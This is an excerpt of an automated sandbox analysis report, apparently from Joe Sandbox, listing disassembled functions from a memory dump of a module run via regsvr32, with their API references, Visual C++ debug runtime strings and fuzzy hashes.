Buffer is too small, xrefs: 000007FEF9D36E05
(L"Buffer is too small" && 0), xrefs: 000007FEF9D36E41, 000007FEF9D36E9E
(((_Src))) != NULL, xrefs: 000007FEF9D36B39, 000007FEF9D36B96
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D36A0D, 000007FEF9D36A6A
strcat_s, xrefs: 000007FEF9D36A63, 000007FEF9D36B8F, 000007FEF9D36D09, 000007FEF9D36E97
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D36A22, 000007FEF9D36A5C, 000007FEF9D36B4E, 000007FEF9D36B88, 000007FEF9D36CC8, 000007FEF9D36D02, 000007FEF9D36E56, 000007FEF9D36E90

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction ID: c5de73825737ff17a6e05e0685af1bba33d69fc1e3bcf908defeea2cf04d7043
Opcode Fuzzy Hash: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction Fuzzy Hash: A9F15A32A0DB8A89FBA08B14E84576EA7E0F385395FA04535D6DD43BA8DF3ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C30D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C315
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3C322
_invalid_parameter.LIBCMTD ref: 000007FEF9D3C3CC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3C3E1
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3C37A, 000007FEF9D3C3B7
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3C365, 000007FEF9D3C3C5
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3C3BE

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_argwctomb_s
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2560055391-3497434347
Opcode ID: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction ID: 46d09667909aa5f7b215aa93bab53907018271778d835aa8b5e6ab3fef1b3364
Opcode Fuzzy Hash: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction Fuzzy Hash: 3BC12D72A0C7C686E7B19B64E8457BEB7E4F384785F604025DAC887AA9DB7DE540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39290 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 142COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D392B6
__doserrno.LIBCMTD ref: 000007FEF9D39341
_invalid_parameter.LIBCMTD ref: 000007FEF9D3937B

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3930C, 000007FEF9D39374
_lseeki64, xrefs: 000007FEF9D3936D, 000007FEF9D3943C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39321, 000007FEF9D39366, 000007FEF9D393F0, 000007FEF9D39435, 000007FEF9D394E7
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D393DB, 000007FEF9D39443
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D394D2

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_lseeki64$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 747159061-1442092225
Opcode ID: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction ID: caaad020489782614700f882d8602b34381ead5b625f1b09b5848be00580b1cf
Opcode Fuzzy Hash: ef8329fd12da17d600f4f9f1cced5d5e2c2be82d60747835616dff46824e4e92
Instruction Fuzzy Hash: 28617C72A1C646CAE7909B25EC4076E72E1F380765F604725E6ED47AF9DB7EE440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B12B Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 99COMMON

Download Yara Rule

APIs

_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2B2DB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B339
_exit.LIBCMTD ref: 000007FEF9D2B378

Strings

__crtMessageWindowA, xrefs: 000007FEF9D2B2BB, 000007FEF9D2B329
..., xrefs: 000007FEF9D2B167
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B2AF, 000007FEF9D2B322
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
(*_errno()), xrefs: 000007FEF9D2B2C7
Module: , xrefs: 000007FEF9D2B192

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _exit_invoke_watson_if_error_invoke_watson_if_oneof
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1778837556-2487400587
Opcode ID: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction ID: 47630d5eafba837dbe703c3de9865bf662ca48ff4c989782bbe983e1f30135bf
Opcode Fuzzy Hash: 577a98effe66048d1b02d2ce2304ffee9433b0bc14e646f7048145a1ac209acc
Instruction Fuzzy Hash: 7851C476608AC591E774DB18F8803EEB3E1F788394F604126EACD43AA9DB7ED154CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C435 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
DecodePointer.KERNEL32 ref: 000007FEF9D3C5C6
DecodePointer.KERNEL32 ref: 000007FEF9D3C63A
DecodePointer.KERNEL32 ref: 000007FEF9D3C685
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3C4CE
-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameterwctomb_s
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 83251219-3442986447
Opcode ID: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction ID: db55a7b1c5e8f8ba017cd25dadef4e5d7f369c86b420bd695ab78b9edef6402a
Opcode Fuzzy Hash: 001a85c562113ca4b869716a344f10cda0261345211a969ed6127680fca34cae
Instruction Fuzzy Hash: 49F1D87260CBC186E7B18B25E8947AEB7E4F384785F604125EACD87AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D407C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D40880

Strings

_commit, xrefs: 000007FEF9D40872, 000007FEF9D40934
(_osfile(filedes) & FOPEN), xrefs: 000007FEF9D408DE, 000007FEF9D4093B
(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle), xrefs: 000007FEF9D4081C, 000007FEF9D40879
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c, xrefs: 000007FEF9D40831, 000007FEF9D4086B, 000007FEF9D408F3, 000007FEF9D4092D, 000007FEF9D409F5
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D409E0

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(filedes) & FOPEN)$(filedes >= 0 && (unsigned)filedes < (unsigned)_nhandle)$_commit$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\commit.c
API String ID: 2123368286-2816485415
Opcode ID: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction ID: e049fe60bfe8b909c44bc6b291fed8ca56badbc40bca4273ec712473172458ea
Opcode Fuzzy Hash: a9ecfc86665cfe11dfc030c63538da66c5eec56c542ce672bdc8af4c2c9759d0
Instruction Fuzzy Hash: 72617B71A1C6468AE7909B28EC4176E73E1F780354F608225E6DE57AF5D77EE440CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40A20 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D40A33
__doserrno.LIBCMTD ref: 000007FEF9D40ABC
_invalid_parameter.LIBCMTD ref: 000007FEF9D40AF6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c, xrefs: 000007FEF9D40A9C, 000007FEF9D40AE1, 000007FEF9D40B69, 000007FEF9D40BAE, 000007FEF9D40C47
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D40A87, 000007FEF9D40AEF
_close, xrefs: 000007FEF9D40AE8, 000007FEF9D40BB5
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D40B54, 000007FEF9D40BBC
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D40C32

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_close$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\close.c
API String ID: 747159061-2992490823
Opcode ID: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction ID: a54d4eac887ae6c515e29e2b1085f50a353430ba1ba5378d93a4f051e541eccc
Opcode Fuzzy Hash: 145745de55703435efe457d343042b6d2b79a4b89ecca71574c94757b3ea27c1
Instruction Fuzzy Hash: 38515C71A186468AE7909B29EC8176E73E2F780758F608225E6DD476F5D77EE400CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E2FC Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E304
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3E311
_invalid_parameter.LIBCMTD ref: 000007FEF9D3E3BB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3E3D0

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3E369, 000007FEF9D3E3A6
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3E354, 000007FEF9D3E3B4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6, 000007FEF9D3E3AD

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_arg
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1328470723-1899493600
Opcode ID: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction ID: 35246ecaaba514364cbfc4328619620b6524a9f29049ac5612c0b139108759f7
Opcode Fuzzy Hash: f6969a0051e08e9fb172d17dbb699df528c09bf6843d3bd9f9f4304ac6550dc4
Instruction Fuzzy Hash: 41C10D72A0CAC286E7B19B55E8407AFB7E0F384346F600125E6C987AE9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2EFB0 Relevance: 16.7, APIs: 11, Instructions: 200memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F094
malloc.LIBCMTD ref: 000007FEF9D2F0E7
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F0F4
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F150
LCMapStringW.KERNEL32 ref: 000007FEF9D2F18D

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWide$AllocaMarkStringmalloc
String ID:
API String ID: 2352934578-0
Opcode ID: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction ID: 07e98e5d3e74dc1edba9ed484819fff5a1f4d1c282268086727bfc73f0da1f11
Opcode Fuzzy Hash: c62487d166d7dca86c557c7a35fedf321effa742b468bc4a62d127ec3f3969a5
Instruction Fuzzy Hash: E8B1D73690C7818AE7A0CB5AE84476FB7E0F789754F214525EAC983BA8DB7ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D33380 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3345E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3362A

Strings

Buffer is too small, xrefs: 000007FEF9D336D6, 000007FEF9D3384B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 000007FEF9D3340F, 000007FEF9D33449, 000007FEF9D335DB, 000007FEF9D33615, 000007FEF9D336EB, 000007FEF9D33893, 000007FEF9D338CD
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D333FA, 000007FEF9D33457
(L"Buffer is too small" && 0), xrefs: 000007FEF9D3387E, 000007FEF9D338DB
wcsncpy_s, xrefs: 000007FEF9D33450, 000007FEF9D3361C, 000007FEF9D338D4
(((_Src))) != NULL, xrefs: 000007FEF9D335C6, 000007FEF9D33623

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction ID: 6d338823bc0f2b3e781b71aef6a49b7720da2244df946e2498ce1ac2f83d5b49
Opcode Fuzzy Hash: 3bb9d1a90c7c3446087a29b367bd8117c888f0c96a3fbe465b5df790d7333f4b
Instruction Fuzzy Hash: BE023F32A0CB8585EBF09B29E94476EA3E0F385795F604625D6DD83BE5DF3ED0848B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E424 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
DecodePointer.KERNEL32 ref: 000007FEF9D3E5B6
DecodePointer.KERNEL32 ref: 000007FEF9D3E62A
DecodePointer.KERNEL32 ref: 000007FEF9D3E675

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3E4BE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer$Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1139040907-3988320827
Opcode ID: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction ID: 3e7729e9fa2df8fbd66d26b0c41d9f273e3b14a95de5485bb8cc9613adf332ea
Opcode Fuzzy Hash: 4175f3561072ab378176a1e1f92056bf5caba3e85f41217d234b1a14ff64e00d
Instruction Fuzzy Hash: 48F1E972A0CAC18AE7A08B55E8407AFB7E0F385746F600126E6CD87AA9DB7DD444CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31640 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D316F1
_invalid_parameter.LIBCMTD ref: 000007FEF9D31823
_invalid_parameter.LIBCMTD ref: 000007FEF9D319CB

Strings

Buffer is too small, xrefs: 000007FEF9D31934
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D3168D, 000007FEF9D316EA
wcscpy_s, xrefs: 000007FEF9D316E3, 000007FEF9D31815, 000007FEF9D319BD
(L"Buffer is too small" && 0), xrefs: 000007FEF9D31967, 000007FEF9D319C4
(((_Src))) != NULL, xrefs: 000007FEF9D317BF, 000007FEF9D3181C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D316A2, 000007FEF9D316DC, 000007FEF9D317D4, 000007FEF9D3180E, 000007FEF9D3197C, 000007FEF9D319B6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction ID: aecfb8002ddf48ca923cbb39b51a8433fc62f52c2bad17b92f015e95501d1b82
Opcode Fuzzy Hash: 938211b99713ed548de0de10d16fbf2c247e5ceda09f99a66501889bb82a488d
Instruction Fuzzy Hash: 16C15B31A0DB8685EBB08B29E84476E63E4F385795F608235D6DD43BA9DF7ED084CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2D490 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D541
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D66D
_invalid_parameter.LIBCMTD ref: 000007FEF9D2D80C

Strings

Buffer is too small, xrefs: 000007FEF9D2D775
strcpy_s, xrefs: 000007FEF9D2D533, 000007FEF9D2D65F, 000007FEF9D2D7FE
(L"Buffer is too small" && 0), xrefs: 000007FEF9D2D7A8, 000007FEF9D2D805
(((_Src))) != NULL, xrefs: 000007FEF9D2D609, 000007FEF9D2D666
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D2D4DD, 000007FEF9D2D53A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 000007FEF9D2D4F2, 000007FEF9D2D52C, 000007FEF9D2D61E, 000007FEF9D2D658, 000007FEF9D2D7BD, 000007FEF9D2D7F7

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
